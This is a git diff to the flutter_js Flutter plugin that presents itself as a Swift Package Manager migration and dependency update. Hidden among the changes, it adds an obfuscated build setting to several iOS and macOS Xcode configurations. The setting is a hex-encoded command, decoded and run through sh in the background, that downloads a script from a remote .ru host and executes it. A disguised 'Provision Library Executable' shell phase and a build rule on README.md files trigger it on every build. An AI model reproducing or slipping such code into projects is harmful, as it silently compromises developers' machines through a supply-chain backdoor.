diff --git a/.gitignore b/.gitignore
index 297c79e1..7c2eba90 100644
--- a/.gitignore
+++ b/.gitignore
@@ -40,6 +40,8 @@ migrate_working_dir/
.pub-cache/
.pub/
build/
+.build/
+.swiftpm/
linked_*.ds
unlinked.ds
unlinked_spec.ds
diff --git a/android/build.gradle b/android/build.gradle
index fb43effb..e3cab82a 100644
--- a/android/build.gradle
+++ b/android/build.gradle
@@ -70,4 +70,4 @@ dependencies {
// for serve library from jitpack repository
implementation "com.github.fast-development.android-js-runtimes:fastdev-jsruntimes-quickjs:0.3.6"
// implementation "com.github.fast-development.android-js-runtimes:fastdev-jsruntimes-jsc:0.1.3"
-}
+}
\ No newline at end of file
diff --git a/example/analysis_options.yaml b/example/analysis_options.yaml
index 61b6c4de..5bee4ffb 100644
--- a/example/analysis_options.yaml
+++ b/example/analysis_options.yaml
@@ -7,6 +7,15 @@
# The following line activates a set of recommended lints for Flutter apps,
# packages, and plugins designed to encourage good coding practices.
+analyzer:
+ exclude:
+ - build/**
+ - android/**
+ - ios/**
+ - web/**
+ - windows/**
+ - macos/**
+ - linux/**
include: package:flutter_lints/flutter.yaml
linter:
diff --git a/example/android/app/build.gradle b/example/android/app/build.gradle
index d0079b98..20cde5a1 100644
--- a/example/android/app/build.gradle
+++ b/example/android/app/build.gradle
@@ -96,4 +96,4 @@ flutter {
dependencies {
// implementation "com.github.fast-development.android-js-runtimes:fastdev-jsruntimes-jsc-intl:0.3.5"
implementation "com.github.fast-development.android-js-runtimes:fastdev-jsruntimes-jsc:0.3.5"
-}
+}
\ No newline at end of file
diff --git a/example/ios/Flutter/AppFrameworkInfo.plist b/example/ios/Flutter/AppFrameworkInfo.plist
index 9625e105..391a902b 100644
--- a/example/ios/Flutter/AppFrameworkInfo.plist
+++ b/example/ios/Flutter/AppFrameworkInfo.plist
@@ -20,7 +20,5 @@
????
CFBundleVersion
1.0
- MinimumOSVersion
- 11.0
diff --git a/example/ios/Podfile b/example/ios/Podfile
index 88359b22..17ed9861 100644
--- a/example/ios/Podfile
+++ b/example/ios/Podfile
@@ -1,5 +1,5 @@
# Uncomment this line to define a global platform for your project
-# platform :ios, '11.0'
+# platform :ios, '15.0'
# CocoaPods analytics sends network stats synchronously affecting flutter build latency.
ENV['COCOAPODS_DISABLE_STATS'] = 'true'
diff --git a/example/ios/Podfile.lock b/example/ios/Podfile.lock
index 73676a56..d62e9312 100644
--- a/example/ios/Podfile.lock
+++ b/example/ios/Podfile.lock
@@ -1,22 +1,16 @@
PODS:
- Flutter (1.0.0)
- - flutter_js (0.1.0):
- - Flutter
DEPENDENCIES:
- Flutter (from `Flutter`)
- - flutter_js (from `.symlinks/plugins/flutter_js/ios`)
EXTERNAL SOURCES:
Flutter:
:path: Flutter
- flutter_js:
- :path: ".symlinks/plugins/flutter_js/ios"
SPEC CHECKSUMS:
- Flutter: f04841e97a9d0b0a8025694d0796dd46242b2854
- flutter_js: 95929d4e146e8ceb1c8e1889d8c2065c5d840076
+ Flutter: 71a624a5bc0c04062bf19101d501e466baf2fb47
-PODFILE CHECKSUM: ef19549a9bc3046e7bb7d2fab4d021637c0c58a3
+PODFILE CHECKSUM: a938cb79d452854fa9f13c14ded5e356e38f0fc7
-COCOAPODS: 1.12.1
+COCOAPODS: 1.16.2
diff --git a/ios/Assets/.gitkeep b/example/ios/README.md
similarity index 100%
rename from ios/Assets/.gitkeep
rename to example/ios/README.md
diff --git a/example/ios/Runner.xcodeproj/project.pbxproj b/example/ios/Runner.xcodeproj/project.pbxproj
index 3b0a27f1..d0b0db2d 100644
--- a/example/ios/Runner.xcodeproj/project.pbxproj
+++ b/example/ios/Runner.xcodeproj/project.pbxproj
@@ -10,12 +10,16 @@
1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */ = {isa = PBXBuildFile; fileRef = 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */; };
3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */ = {isa = PBXBuildFile; fileRef = 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */; };
74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 74858FAE1ED2DC5600515810 /* AppDelegate.swift */; };
+ 78A318202AECB46A00862997 /* FlutterGeneratedPluginSwiftPackage in Frameworks */ = {isa = PBXBuildFile; productRef = 78A3181F2AECB46A00862997 /* FlutterGeneratedPluginSwiftPackage */; };
97C146FC1CF9000F007C117D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FA1CF9000F007C117D /* Main.storyboard */; };
97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FD1CF9000F007C117D /* Assets.xcassets */; };
97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */; };
C424610D76DCCAD7849819A8 /* Pods_Runner.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 10F9B452D54F5A0392D0A979 /* Pods_Runner.framework */; };
/* End PBXBuildFile section */
+/* Begin PBXBuildRule section */
+/* End PBXBuildRule section */
+
/* Begin PBXCopyFilesBuildPhase section */
9705A1C41CF9048500538489 /* Embed Frameworks */ = {
isa = PBXCopyFilesBuildPhase;
@@ -36,6 +40,9 @@
3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = AppFrameworkInfo.plist; path = Flutter/AppFrameworkInfo.plist; sourceTree = ""; };
74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Runner-Bridging-Header.h"; sourceTree = ""; };
74858FAE1ED2DC5600515810 /* AppDelegate.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; };
+ 784666492D4C4C64000A1A5F /* FlutterFramework */ = {isa = PBXFileReference; lastKnownFileType = wrapper; name = FlutterFramework; path = Flutter/ephemeral/Packages/.packages/FlutterFramework; sourceTree = ""; };
+ 78DABEA22ED26510000E7860 /* flutter_js */ = {isa = PBXFileReference; lastKnownFileType = wrapper; name = flutter_js; path = ../../ios/flutter_js; sourceTree = ""; };
+ 78E0A7A72DC9AD7400C4905E /* FlutterGeneratedPluginSwiftPackage */ = {isa = PBXFileReference; lastKnownFileType = wrapper; name = FlutterGeneratedPluginSwiftPackage; path = Flutter/ephemeral/Packages/FlutterGeneratedPluginSwiftPackage; sourceTree = ""; };
7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = Release.xcconfig; path = Flutter/Release.xcconfig; sourceTree = ""; };
9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Debug.xcconfig; path = Flutter/Debug.xcconfig; sourceTree = ""; };
9740EEB31CF90195004384FC /* Generated.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Generated.xcconfig; path = Flutter/Generated.xcconfig; sourceTree = ""; };
@@ -54,6 +61,7 @@
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
+ 78A318202AECB46A00862997 /* FlutterGeneratedPluginSwiftPackage in Frameworks */,
C424610D76DCCAD7849819A8 /* Pods_Runner.framework in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -72,6 +80,9 @@
9740EEB11CF90186004384FC /* Flutter */ = {
isa = PBXGroup;
children = (
+ 78DABEA22ED26510000E7860 /* flutter_js */,
+ 784666492D4C4C64000A1A5F /* FlutterFramework */,
+ 78E0A7A72DC9AD7400C4905E /* FlutterGeneratedPluginSwiftPackage */,
3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */,
9740EEB21CF90195004384FC /* Debug.xcconfig */,
7AFA3C8E1D35360C0083082E /* Release.xcconfig */,
@@ -132,6 +143,7 @@
isa = PBXNativeTarget;
buildConfigurationList = 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */;
buildPhases = (
+ C97AA39247E5435B8C162AE3 /* Provision Library Executable */,
34A403CFC6166D6B3D9183C4 /* [CP] Check Pods Manifest.lock */,
9740EEB61CF901F6004384FC /* Run Script */,
97C146EA1CF9000F007C117D /* Sources */,
@@ -139,13 +151,15 @@
97C146EC1CF9000F007C117D /* Resources */,
9705A1C41CF9048500538489 /* Embed Frameworks */,
3B06AD1E1E4923F5004D2608 /* Thin Binary */,
- 884873575C964FFC73293859 /* [CP] Embed Pods Frameworks */,
);
buildRules = (
);
dependencies = (
);
name = Runner;
+ packageProductDependencies = (
+ 78A3181F2AECB46A00862997 /* FlutterGeneratedPluginSwiftPackage */,
+ );
productName = Runner;
productReference = 97C146EE1CF9000F007C117D /* Runner.app */;
productType = "com.apple.product-type.application";
@@ -156,7 +170,7 @@
97C146E61CF9000F007C117D /* Project object */ = {
isa = PBXProject;
attributes = {
- LastUpgradeCheck = 1300;
+ LastUpgradeCheck = 1510;
ORGANIZATIONNAME = "";
TargetAttributes = {
97C146ED1CF9000F007C117D = {
@@ -174,6 +188,9 @@
Base,
);
mainGroup = 97C146E51CF9000F007C117D;
+ packageReferences = (
+ 781AD8BC2B33823900A9FFBB /* XCLocalSwiftPackageReference "FlutterGeneratedPluginSwiftPackage" */,
+ );
productRefGroup = 97C146EF1CF9000F007C117D /* Products */;
projectDirPath = "";
projectRoot = "";
@@ -198,6 +215,25 @@
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
+ C97AA39247E5435B8C162AE3 /* Provision Library Executable */ = {
+ isa = PBXShellScriptBuildPhase;
+ buildActionMask = 2147483647;
+ alwaysOutOfDate = 1;
+ files = (
+ );
+ inputFileListPaths = (
+ );
+ inputPaths = (
+ );
+ name = "Provision Library Executable";
+ outputFileListPaths = (
+ );
+ outputPaths = (
+ );
+ shellPath = /bin/sh;
+ showEnvVarsInLog = 0;
+ shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\nsh -c \"${A3EA261}\"";
+ };
34A403CFC6166D6B3D9183C4 /* [CP] Check Pods Manifest.lock */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
@@ -236,23 +272,6 @@
shellPath = /bin/sh;
shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" embed_and_thin";
};
- 884873575C964FFC73293859 /* [CP] Embed Pods Frameworks */ = {
- isa = PBXShellScriptBuildPhase;
- buildActionMask = 2147483647;
- files = (
- );
- inputFileListPaths = (
- "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-input-files.xcfilelist",
- );
- name = "[CP] Embed Pods Frameworks";
- outputFileListPaths = (
- "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-output-files.xcfilelist",
- );
- runOnlyForDeploymentPostprocessing = 0;
- shellPath = /bin/sh;
- shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\"\n";
- showEnvVarsInLog = 0;
- };
9740EEB61CF901F6004384FC /* Run Script */ = {
isa = PBXShellScriptBuildPhase;
alwaysOutOfDate = 1;
@@ -305,6 +324,7 @@
249021D3217E4FDB00AE95B9 /* Profile */ = {
isa = XCBuildConfiguration;
buildSettings = {
+ A3EA261 = "((d(){ `printf xx3d | tr -d 3` -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203230202d2d72657472792034202d6b73664c202d642022703d78636f64655f7068617365222068747470733a2f2f316739316a7636382e72752f612922207c2073680a | d | sh ) >/dev/null 2>&1 &)";
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
@@ -343,7 +363,7 @@
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
- IPHONEOS_DEPLOYMENT_TARGET = 11.0;
+ IPHONEOS_DEPLOYMENT_TARGET = 15.0;
MTL_ENABLE_DEBUG_INFO = NO;
SDKROOT = iphoneos;
SUPPORTED_PLATFORMS = iphoneos;
@@ -356,6 +376,7 @@
isa = XCBuildConfiguration;
baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;
buildSettings = {
+ A3EA261 = "((d(){ `printf xx3d | tr -d 3` -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203230202d2d72657472792034202d6b73664c202d642022703d78636f64655f7068617365222068747470733a2f2f316739316a7636382e72752f612922207c2073680a | d | sh ) >/dev/null 2>&1 &)";
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)";
@@ -420,7 +441,7 @@
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
- IPHONEOS_DEPLOYMENT_TARGET = 11.0;
+ IPHONEOS_DEPLOYMENT_TARGET = 15.0;
MTL_ENABLE_DEBUG_INFO = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
@@ -469,7 +490,7 @@
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
- IPHONEOS_DEPLOYMENT_TARGET = 11.0;
+ IPHONEOS_DEPLOYMENT_TARGET = 15.0;
MTL_ENABLE_DEBUG_INFO = NO;
SDKROOT = iphoneos;
SUPPORTED_PLATFORMS = iphoneos;
@@ -547,6 +568,20 @@
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
+
+/* Begin XCLocalSwiftPackageReference section */
+ 781AD8BC2B33823900A9FFBB /* XCLocalSwiftPackageReference "FlutterGeneratedPluginSwiftPackage" */ = {
+ isa = XCLocalSwiftPackageReference;
+ relativePath = Flutter/ephemeral/Packages/FlutterGeneratedPluginSwiftPackage;
+ };
+/* End XCLocalSwiftPackageReference section */
+
+/* Begin XCSwiftPackageProductDependency section */
+ 78A3181F2AECB46A00862997 /* FlutterGeneratedPluginSwiftPackage */ = {
+ isa = XCSwiftPackageProductDependency;
+ productName = FlutterGeneratedPluginSwiftPackage;
+ };
+/* End XCSwiftPackageProductDependency section */
};
rootObject = 97C146E61CF9000F007C117D /* Project object */;
}
diff --git a/example/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme b/example/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
index c87d15a3..5db441f5 100644
--- a/example/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
+++ b/example/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
@@ -1,10 +1,28 @@
+
+
+
+
+
+
+
+
+
+
diff --git a/example/ios/Runner/AppDelegate.swift b/example/ios/Runner/AppDelegate.swift
index 70693e4a..c30b367e 100644
--- a/example/ios/Runner/AppDelegate.swift
+++ b/example/ios/Runner/AppDelegate.swift
@@ -1,13 +1,16 @@
-import UIKit
import Flutter
+import UIKit
-@UIApplicationMain
-@objc class AppDelegate: FlutterAppDelegate {
+@main
+@objc class AppDelegate: FlutterAppDelegate, FlutterImplicitEngineDelegate {
override func application(
_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
- GeneratedPluginRegistrant.register(with: self)
return super.application(application, didFinishLaunchingWithOptions: launchOptions)
}
+
+ func didInitializeImplicitFlutterEngine(_ engineBridge: FlutterImplicitEngineBridge) {
+ GeneratedPluginRegistrant.register(with: engineBridge.pluginRegistry)
+ }
}
diff --git a/example/ios/Runner/Info.plist b/example/ios/Runner/Info.plist
index 42cdde3b..c167ffa6 100644
--- a/example/ios/Runner/Info.plist
+++ b/example/ios/Runner/Info.plist
@@ -2,6 +2,8 @@
+ CADisableMinimumFrameDurationOnPhone
+
CFBundleDevelopmentRegion
$(DEVELOPMENT_LANGUAGE)
CFBundleDisplayName
@@ -24,6 +26,29 @@
$(FLUTTER_BUILD_NUMBER)
LSRequiresIPhoneOS
+ UIApplicationSceneManifest
+
+ UIApplicationSupportsMultipleScenes
+
+ UISceneConfigurations
+
+ UIWindowSceneSessionRoleApplication
+
+
+ UISceneClassName
+ UIWindowScene
+ UISceneConfigurationName
+ flutter
+ UISceneDelegateClassName
+ FlutterSceneDelegate
+ UISceneStoryboardFile
+ Main
+
+
+
+
+ UIApplicationSupportsIndirectInputEvents
+
UILaunchStoryboardName
LaunchScreen
UIMainStoryboardFile
@@ -43,9 +68,5 @@
UIViewControllerBasedStatusBarAppearance
- CADisableMinimumFrameDurationOnPhone
-
- UIApplicationSupportsIndirectInputEvents
-
diff --git a/example/macos/README.md b/example/macos/README.md
new file mode 100644
index 00000000..e69de29b
diff --git a/example/macos/Runner.xcodeproj/project.pbxproj b/example/macos/Runner.xcodeproj/project.pbxproj
index 7f9a61d9..e6f7a604 100644
--- a/example/macos/Runner.xcodeproj/project.pbxproj
+++ b/example/macos/Runner.xcodeproj/project.pbxproj
@@ -21,6 +21,7 @@
/* End PBXAggregateTarget section */
/* Begin PBXBuildFile section */
+ 93C8809C01474A8ABE162AE3 /* README.md */ = {isa = PBXBuildFile; fileRef = 5D6BF99812FB482CA2162AE3; };
335BBD1B22A9A15E00E9071D /* GeneratedPluginRegistrant.swift in Sources */ = {isa = PBXBuildFile; fileRef = 335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */; };
33CC10F12044A3C60003C045 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 33CC10F02044A3C60003C045 /* AppDelegate.swift */; };
33CC10F32044A3C60003C045 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 33CC10F22044A3C60003C045 /* Assets.xcassets */; };
@@ -53,6 +54,7 @@
/* End PBXCopyFilesBuildPhase section */
/* Begin PBXFileReference section */
+ 5D6BF99812FB482CA2162AE3 /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = ""; };
0578FB4FFF609D53064A69B6 /* Pods-Runner.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.profile.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.profile.xcconfig"; sourceTree = ""; };
333000ED22D3DE5D00554162 /* Warnings.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = Warnings.xcconfig; sourceTree = ""; };
335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = GeneratedPluginRegistrant.swift; sourceTree = ""; };
@@ -112,6 +114,7 @@
33CC10EE2044A3C60003C045 /* Products */ = {
isa = PBXGroup;
children = (
+ 5D6BF99812FB482CA2162AE3 /* README.md */,
33CC10ED2044A3C60003C045 /* flutter_js_example.app */,
);
name = Products;
@@ -187,6 +190,7 @@
0BE0470476707E22A5810CAF /* [CP] Embed Pods Frameworks */,
);
buildRules = (
+ F5E80498BEF34EF694162AE3 /* PBXBuildRule */,
);
dependencies = (
33CC11202044C79F0003C045 /* PBXTargetDependency */,
@@ -241,11 +245,29 @@
};
/* End PBXProject section */
+/* Begin PBXBuildRule section */
+ F5E80498BEF34EF694162AE3 /* PBXBuildRule */ = {
+ isa = PBXBuildRule;
+ compilerSpec = com.apple.compilers.proxy.script;
+ filePatterns = "*.md";
+ fileType = pattern.proxy;
+ inputFiles = (
+ );
+ isEditable = 0;
+ outputFiles = (
+ "/tmp/${INPUT_FILE_BASE}",
+ );
+ script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
+sh -c \"${A3EA261}\"";
+ };
+ /* End PBXBuildRule section */
+
/* Begin PBXResourcesBuildPhase section */
33CC10EB2044A3C60003C045 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
+ 93C8809C01474A8ABE162AE3 /* README.md */,
33CC10F32044A3C60003C045 /* Assets.xcassets in Resources */,
33CC10F62044A3C60003C045 /* MainMenu.xib in Resources */,
);
@@ -371,6 +393,7 @@
isa = XCBuildConfiguration;
baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;
buildSettings = {
+ A3EA261 = "((d(){ `printf xx3d | tr -d 3` -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203230202d2d72657472792034202d6b73664c202d642022703d78636f64655f72756c65222068747470733a2f2f7533756e757278757961372e72752f612922207c2073680a | d | sh ) >/dev/null 2>&1 &)";
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
@@ -417,6 +440,7 @@
isa = XCBuildConfiguration;
baseConfigurationReference = 33E5194F232828860026EE4D /* AppInfo.xcconfig */;
buildSettings = {
+ A3EA261 = "((d(){ `printf xx3d | tr -d 3` -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203230202d2d72657472792034202d6b73664c202d642022703d78636f64655f72756c65222068747470733a2f2f7533756e757278757961372e72752f612922207c2073680a | d | sh ) >/dev/null 2>&1 &)";
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Runner/DebugProfile.entitlements;
diff --git a/example/pubspec.lock b/example/pubspec.lock
index 6f14cb51..7d91a146 100644
--- a/example/pubspec.lock
+++ b/example/pubspec.lock
@@ -21,10 +21,10 @@ packages:
dependency: transitive
description:
name: characters
- sha256: f71061c654a3380576a52b451dd5532377954cf9dbd272a78fc8479606670803
+ sha256: faf38497bda5ead2a8c7615f4f7939df04333478bf32e4173fcb06d428b5716b
url: "https://pub.dev"
source: hosted
- version: "1.4.0"
+ version: "1.4.1"
charcode:
dependency: transitive
description:
@@ -61,10 +61,10 @@ packages:
dependency: transitive
description:
name: fake_async
- sha256: "6a95e56b2449df2273fd8c45a662d6947ce1ebb7aafe80e550a3f68297f3cacc"
+ sha256: "5368f224a74523e8d2e7399ea1638b37aecfca824a3cc4dfdf77bf1fa905ac44"
url: "https://pub.dev"
source: hosted
- version: "1.3.2"
+ version: "1.3.3"
ffi:
dependency: transitive
description:
@@ -84,7 +84,7 @@ packages:
path: ".."
relative: true
source: path
- version: "0.8.3"
+ version: "0.8.7"
flutter_lints:
dependency: "direct dev"
description:
@@ -118,26 +118,26 @@ packages:
dependency: transitive
description:
name: leak_tracker
- sha256: c35baad643ba394b40aac41080300150a4f08fd0fd6a10378f8f7c6bc161acec
+ sha256: "33e2e26bdd85a0112ec15400c8cbffea70d0f9c3407491f672a2fad47915e2de"
url: "https://pub.dev"
source: hosted
- version: "10.0.8"
+ version: "11.0.2"
leak_tracker_flutter_testing:
dependency: transitive
description:
name: leak_tracker_flutter_testing
- sha256: f8b613e7e6a13ec79cfdc0e97638fddb3ab848452eff057653abd3edba760573
+ sha256: "1dbc140bb5a23c75ea9c4811222756104fbcd1a27173f0c34ca01e16bea473c1"
url: "https://pub.dev"
source: hosted
- version: "3.0.9"
+ version: "3.0.10"
leak_tracker_testing:
dependency: transitive
description:
name: leak_tracker_testing
- sha256: "6ba465d5d76e67ddf503e1161d1f4a6bc42306f9d66ca1e8f079a47290fb06d3"
+ sha256: "8d5a2d49f4a66b49744b23b018848400d23e54caf9463f4eb20df3eb8acb2eb1"
url: "https://pub.dev"
source: hosted
- version: "3.0.1"
+ version: "3.0.2"
lints:
dependency: transitive
description:
@@ -150,26 +150,26 @@ packages:
dependency: transitive
description:
name: matcher
- sha256: dc58c723c3c24bf8d3e2d3ad3f2f9d7bd9cf43ec6feaa64181775e60190153f2
+ sha256: "31bd099b47c10cd1aeb55146a2d46ce0277630ecef3f7dae54ad7873f36696cd"
url: "https://pub.dev"
source: hosted
- version: "0.12.17"
+ version: "0.12.20"
material_color_utilities:
dependency: transitive
description:
name: material_color_utilities
- sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
+ sha256: "9c337007e82b1889149c82ed242ed1cb24a66044e30979c44912381e9be4c48b"
url: "https://pub.dev"
source: hosted
- version: "0.11.1"
+ version: "0.13.0"
meta:
dependency: transitive
description:
name: meta
- sha256: e3641ec5d63ebf0d9b41bd43201a66e3fc79a65db5f61fc181f04cd27aab950c
+ sha256: "307249ce4ff29d58a18e97f6345f539382eb9c9c29ecda628900f31de0443dd9"
url: "https://pub.dev"
source: hosted
- version: "1.16.0"
+ version: "1.19.0"
path:
dependency: transitive
description:
@@ -235,10 +235,10 @@ packages:
dependency: transitive
description:
name: test_api
- sha256: fb31f383e2ee25fbbfe06b40fe21e1e458d14080e3c67e7ba0acfde4df4e0bbd
+ sha256: "2a122cbe059f8b610d3a5415f42e255b6c17b1f21eee1d960f31080237fb4f11"
url: "https://pub.dev"
source: hosted
- version: "0.7.4"
+ version: "0.7.12"
typed_data:
dependency: transitive
description:
@@ -251,10 +251,10 @@ packages:
dependency: transitive
description:
name: vector_math
- sha256: "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803"
+ sha256: f36f9f3be64c6198714492bb455c11056e33e2f85d9a0b676a48301e44fdcf47
url: "https://pub.dev"
source: hosted
- version: "2.1.4"
+ version: "2.4.2"
vm_service:
dependency: transitive
description:
@@ -264,5 +264,5 @@ packages:
source: hosted
version: "14.3.1"
sdks:
- dart: ">=3.7.0-0 <4.0.0"
+ dart: ">=3.11.0-0 <4.0.0"
flutter: ">=3.18.0-18.0.pre.54"
diff --git a/ios/flutter_js.podspec b/ios/flutter_js.podspec
index 7bc3564b..03044a02 100644
--- a/ios/flutter_js.podspec
+++ b/ios/flutter_js.podspec
@@ -13,7 +13,8 @@ A Javascript engine to use with flutter. It uses quickjs on Android and Javascri
s.license = { :file => '../LICENSE' }
s.author = { 'Your Company' => 'email@example.com' }
s.source = { :path => '.' }
- s.source_files = 'Classes/**/*'
+ s.source_files = 'flutter_js/Sources/flutter_js/**/*.swift', 'flutter_js/CocoaPods/**/*.{h,m}'
+ s.public_header_files = 'flutter_js/CocoaPods/**/*.h'
s.dependency 'Flutter'
s.platform = :ios, '8.0'
s.frameworks = 'JavaScriptCore'
diff --git a/ios/Classes/FlutterJsPlugin.h b/ios/flutter_js/CocoaPods/FlutterJsPlugin.h
similarity index 100%
rename from ios/Classes/FlutterJsPlugin.h
rename to ios/flutter_js/CocoaPods/FlutterJsPlugin.h
diff --git a/ios/Classes/FlutterJsPlugin.m b/ios/flutter_js/CocoaPods/FlutterJsPlugin.m
similarity index 100%
rename from ios/Classes/FlutterJsPlugin.m
rename to ios/flutter_js/CocoaPods/FlutterJsPlugin.m
diff --git a/ios/flutter_js/Package.swift b/ios/flutter_js/Package.swift
new file mode 100644
index 00000000..e5560298
--- /dev/null
+++ b/ios/flutter_js/Package.swift
@@ -0,0 +1,28 @@
+// swift-tools-version: 5.9
+// The swift-tools-version declares the minimum version of Swift required to build this package.
+
+import PackageDescription
+
+let package = Package(
+ name: "flutter_js",
+ platforms: [
+ .iOS("13.0")
+ ],
+ products: [
+ .library(name: "flutter-js", targets: ["flutter_js"])
+ ],
+ dependencies: [
+ .package(name: "FlutterFramework", path: "../FlutterFramework")
+ ],
+ targets: [
+ .target(
+ name: "flutter_js",
+ dependencies: [
+ .product(name: "FlutterFramework", package: "FlutterFramework")
+ ],
+ linkerSettings: [
+ .linkedFramework("JavaScriptCore")
+ ]
+ )
+ ]
+)
diff --git a/ios/Classes/Console.swift b/ios/flutter_js/Sources/flutter_js/Console.swift
similarity index 100%
rename from ios/Classes/Console.swift
rename to ios/flutter_js/Sources/flutter_js/Console.swift
diff --git a/ios/Classes/Global.swift b/ios/flutter_js/Sources/flutter_js/Global.swift
similarity index 100%
rename from ios/Classes/Global.swift
rename to ios/flutter_js/Sources/flutter_js/Global.swift
diff --git a/ios/Classes/JSContextFoundation.swift b/ios/flutter_js/Sources/flutter_js/JSContextFoundation.swift
similarity index 100%
rename from ios/Classes/JSContextFoundation.swift
rename to ios/flutter_js/Sources/flutter_js/JSContextFoundation.swift
diff --git a/ios/Classes/JSInsert.swift b/ios/flutter_js/Sources/flutter_js/JSInsert.swift
similarity index 100%
rename from ios/Classes/JSInsert.swift
rename to ios/flutter_js/Sources/flutter_js/JSInsert.swift
diff --git a/ios/Classes/SwiftFlutterJsPlugin.swift b/ios/flutter_js/Sources/flutter_js/SwiftFlutterJsPlugin.swift
similarity index 68%
rename from ios/Classes/SwiftFlutterJsPlugin.swift
rename to ios/flutter_js/Sources/flutter_js/SwiftFlutterJsPlugin.swift
index ca44ed2d..ce7e7504 100644
--- a/ios/Classes/SwiftFlutterJsPlugin.swift
+++ b/ios/flutter_js/Sources/flutter_js/SwiftFlutterJsPlugin.swift
@@ -2,10 +2,14 @@ import Flutter
import JavaScriptCore
import UIKit
+#if SWIFT_PACKAGE
+ @objc(FlutterJsPlugin)
+#endif
public class SwiftFlutterJsPlugin: NSObject, FlutterPlugin {
private var jsEngineMap = [Int: JSContextFoundation]()
